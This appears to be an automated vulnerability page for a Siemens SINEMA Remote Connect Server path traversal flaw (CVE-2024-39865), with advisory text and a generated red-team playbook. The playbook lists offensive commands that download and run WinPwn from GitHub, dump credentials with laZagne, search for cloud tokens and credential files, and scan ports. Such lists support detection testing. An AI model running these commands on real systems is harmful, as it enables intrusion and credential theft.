CVE-2024-39865
Overview
The vulnerability is a path traversal flaw within the backup restoration functionality of Siemens SINEMA Remote Connect Server versions prior to 3.2 SP1. It arises from improper validation of file paths during the restoration of encrypted backup files, allowing arbitrary file writes. The affected component is the backup restore mechanism that processes user-uploaded encrypted backup archives without enforcing strict path checks.
Vulnerability Description
A vulnerability has been identified in SINEMA Remote Connect Server (All versions < V3.2 SP1). The affected application allows users to upload encrypted backup files. As part of this backup, files can be restored without correctly checking the path of the restored file. This could allow an attacker with access to the backup encryption key to upload malicious files, that could potentially lead to remote code execution.
Impact
An attacker with access to the backup encryption key and limited privileges (PR:L) can upload malicious files via the backup restore process, leading to arbitrary file writes and potential remote code execution on the server. This can result in full system compromise, data integrity loss, and unauthorized control over the affected system. The vulnerability requires network access (AV:N) and no user interaction (UI:N), with high confidentiality, integrity, and availability impact (C:H/I:H/A:H) as per the CVSS vector.
Solution
Siemens has addressed this vulnerability in SINEMA Remote Connect Server version 3.2 SP1. Users should upgrade to version 3.2 SP1 or later as detailed in the Siemens Security Advisory SSA-381581 (https://cert-portal.siemens.com/productcert/html/ssa-381581.html). The advisory provides comprehensive patch instructions and recommends applying the update promptly to mitigate the risk associated with the backup restore path validation flaw.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A significant vulnerability has been identified in the SINEMA Remote Connect Server, particularly affecting all versions prior to 3.2 SP1. This flaw arises from the application’s handling of encrypted backup files, which allows users to upload these files without adequate validation of the restoration path. The lack of proper checks creates a scenario where an attacker, possessing the backup encryption key, could upload malicious files to the server. This could ultimately lead to remote code execution, enabling the attacker to execute arbitrary commands on the server, thereby compromising the integrity and confidentiality of the system.
The exploitation of this vulnerability can occur through several attack vectors. An attacker with legitimate access to the backup encryption key could initiate a file upload process, leveraging the server's trust in the backup restoration mechanism. By crafting a malicious file that exploits the path traversal aspect of the vulnerability, the attacker could manipulate the server into executing harmful code. This scenario emphasizes the importance of access control and the potential consequences of inadequate security measures surrounding sensitive operations like file uploads and restorations.
The real-world impact of this vulnerability is substantial, particularly for organizations relying on the SINEMA Remote Connect Server for critical operations. Successful exploitation could lead to unauthorized access to sensitive data, disruption of services, and significant financial losses. The potential for remote code execution not only jeopardizes the affected systems but could also serve as a foothold for further attacks within an organization’s network. This risk is compounded in industrial environments where such servers often integrate with operational technology, increasing the likelihood of severe operational disruptions and safety incidents.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating the SINEMA Remote Connect Server to the latest version is crucial, as this will address the identified flaw. Additionally, organizations should conduct thorough security assessments and penetration testing to identify potential weaknesses in their systems. Employing strict access controls and monitoring mechanisms can help prevent unauthorized access to sensitive components, such as backup encryption keys. Furthermore, implementing file integrity monitoring solutions can alert administrators to any unauthorized file changes, providing an additional layer of defense against exploitation attempts.
In conclusion, the vulnerability present in the SINEMA Remote Connect Server underscores the critical need for robust security practices in managing sensitive applications. Organizations must remain vigilant in their security posture, ensuring that they apply timely updates, enforce strict access controls, and continuously monitor their systems for potential threats. By doing so, they can significantly reduce the risk of exploitation and safeguard their operational integrity against emerging cybersecurity threats.
Affected Products (3)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Siemens | Sinema Remote Connect Server | All |
cpe:2.3:a:siemens:sinema_remote_connect_server:*:*:*:*:*:*:*:*
|
|
|
Siemens | Sinema Remote Connect Server | 3.2 |
cpe:2.3:a:siemens:sinema_remote_connect_server:3.2:-:*:*:*:*:*:*
|
|
|
Siemens | Sinema Remote Connect Server | 3.2 |
cpe:2.3:a:siemens:sinema_remote_connect_server:3.2:hf1:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
30%
|
High | High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-39865 |
| cert-portal.siemens.com |
GitHub CVE
|
https://cert-portal.siemens.com/productcert/html/ssa-381581.html |